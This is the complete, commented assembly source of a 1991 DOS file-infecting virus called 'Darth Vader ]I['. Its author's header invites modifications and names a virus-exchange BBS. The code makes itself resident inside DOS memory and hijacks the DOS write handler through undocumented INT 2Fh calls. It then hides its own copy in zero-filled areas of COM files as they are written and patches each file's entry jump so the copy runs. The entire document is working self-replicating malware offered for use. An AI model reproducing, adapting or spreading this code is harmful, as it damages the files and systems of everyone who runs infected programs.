;******************************************************************************* ;* * ;* D A R T H V A D E R ]I[ * ;* * ;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * ;* All Rights Reserved * ;* * ;* This is the third release of Darth Vader virus. He also infect only * ;* those COM file, wich have area of 255 (or more) zeros. As you might * ;* see, virus' size is reduced. This increase possibility file to have * ;* enough zeros to hold virus. In several tests the percentage of * ;* infected file was tested, and it was bigger than in Darth Vader 2. * ;* This release support only DOS 2.X and later, but less than 5.X * ;* You may make any modifications in this source, BUT let me know * ;* what you have done (drop me a message at Virus eXchange BBS) * ;* * ;* Waleri Todorov * ;******************************************************************************* org 0 ; Begin from offset 0 nop ; Dummy NOPs. Don't remove them nop nop call NextLine ; Call next instruction NextLine pop bx ; To calculate it's own location sub bx,6 ; Location stored in BX mov [0FEh],ax ; Save AX for further usage xor ax,ax ; Set DS to point in interrupt table mov ds,ax ; les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG xor di,di ; ES:DI point to DOSSEG:0000 mov cx,1000h ; Will search 1000h bytes call SearchZero ; Search Zeros in ES:DI jc ReturnControl ; If CF==Yes -> no place and exit mov cs:[bx+offset NewStart],di ; Save beginnig xor si,si ; SI=0; push es ; Set DS point to DOSSEG pop ds SearchTable lodsw ; Load word from DS:SI cmp ax,8B2Eh ; Check first 'magic' byte je Found1 ; If match -> check next byte NotHere dec si ; Else go search from next byte jmp short SearchTable Found1 lodsb ; Load next byte cmp al,9Fh ; If match with last 'magic' byte je FoundTable ; fo to found table dec si ; else go search from next byte jmp short NotHere FoundTable lodsw ; Load table address to AX xchg ax,bx ; Exchange AX <-> BX mov cx,[bx+80h] ; Load in CX old WRITE handler offset xchg ax,bx ; Exchange AX <-> BX mov cs:[bx+offset OldWrite],cx ; Save old offset lea cx,[di+offset Handle] ; Load in CX new offset xchg ax,bx ; Exchgange AX <-> BX mov [bx+80h],cx ; Store new WRITE offset to table xchg ax,bx ; Exchange AX <-> BX push cs ; Set DS point to virus code pop ds ; mov cx,offset LastByte ; CX = Virus Size mov si,bx ; SI=virus start offset rep movsb ; ES:DI point to free area in DOS ; go in there ReturnControl push cs ; Set DS & ES point in host program push cs pop ds pop es mov di,100h ; DI point CS:100 lea si,[bx+offset First3] ; SI point old first instr push di ; Save DI for dummy RETurn movsw ; Move first 2 byte movsb ; Move another one mov ax,[0FEh] ; Restore AX (Remember?) xor bx,bx ; Clear BX ret ; Return control to host via dummy RETurn ; Here terminate virus installation in memory. After this moment ; virus is active and will infect any COM file bigger than the virus ; and having enough zeros SearchZero xor ax,ax ; Set AX to zero (gonna search zeros) Again inc di ; ES:DI++ push cx ; Save CX push di ; Save DI mov cx,offset LastByte ; CX = Virus Size repe scasb ; Search until equal pop di ; Restore DI jcxz FoundPlace ; If CX==0 then ES:DI point to zeros pop cx ; Else restore CX loop Again ; And loop again until CX!=0 stc ; If CX==0 ret ; Set CF and return to caller (No place) FoundPlace pop cx ; Restore CX clc ; Clear CF (ES:DI point to zero area) ret ; Return to caller ; The followed procedure is new WRITE handle. It check does write buffer ; have enough zeros to hold virus. If so -> copy virus in zero area, change ; entry point and write file, else write file only Handle mov ss:[4],bp ; Save BP (BP used as index register) push es ; Save important registers push ax ; DS:DX are saved last, because push bx ; they are used later in infection push cx push si push di push ds ; push dx ; call NextHandle ; Call NextHandle to calculate OldWrite ; variable area offset dw 0 ; Old WRITE handler NewStart dw 0 ; Virus offset in DOSSEG First3 int 20h ; First 3 instruction of COM file nop NextHandle pop bp ; Set SS:BP to point to variable area cmp cx,offset LastByte+10h ; Check if write buffer jb Do ; is big enough. If not -> exit mov ax,1220h ; Get file handle (BX) table number int 2Fh ; Via interrupt 2F (undocumented) mov bl,es:[di] ; Load handle table number in BL mov ax,1216h ; Get file handle table address int 2Fh ; Via interrupt 2F (undocumented) cmp es:[di+29h],'MO' ; Check if file is ?OM jne Do ; If not -> exit pop di ; Set ES:DI to point write buffer pop es ; push es ; push di ; mov ax,es:[di] ; Set AX to first 2 bytes from buffer mov [bp+4],ax ; and save it in First instruction mov al,es:[di+2] ; Set AL to third byte from buffer mov [bp+6],al ; and save it in First instruction call SearchZero ; Search zeros area in buffer jc Do ; If not found -> exit mov bx,di ; Set BX to point zero area push cs ; Set DS point to DOSSEG (Virus) pop ds mov si,[bp+2] ; Set SI to virus offset in DOSSEG mov cx,offset LastByte ; Set CX to virus size rep movsb ; Move virus to buffer pop di ; Set DI point to buffer (not zero area) push di mov al,0E9h ; Set AL to JMP opcode sub bx,di ; Set BX to virus offset in file stosb ; Store JMP to buffer xchg ax,bx ; AX now have offset of virus in file sub ax,3 ; Calculate JMP argument stosw ; and store it in buffer Do pop dx ; Restore important registers pop ds pop di pop si pop cx pop bx pop ax pop es push [bp] ; Put old WRITE offset in stack for RET mov bp,ss:[4] ; Restore BP ret ; Call DOS via dummy RETurn db 'Darth Vader ' ; Virus sign LastByte label byte ; Last byte of virus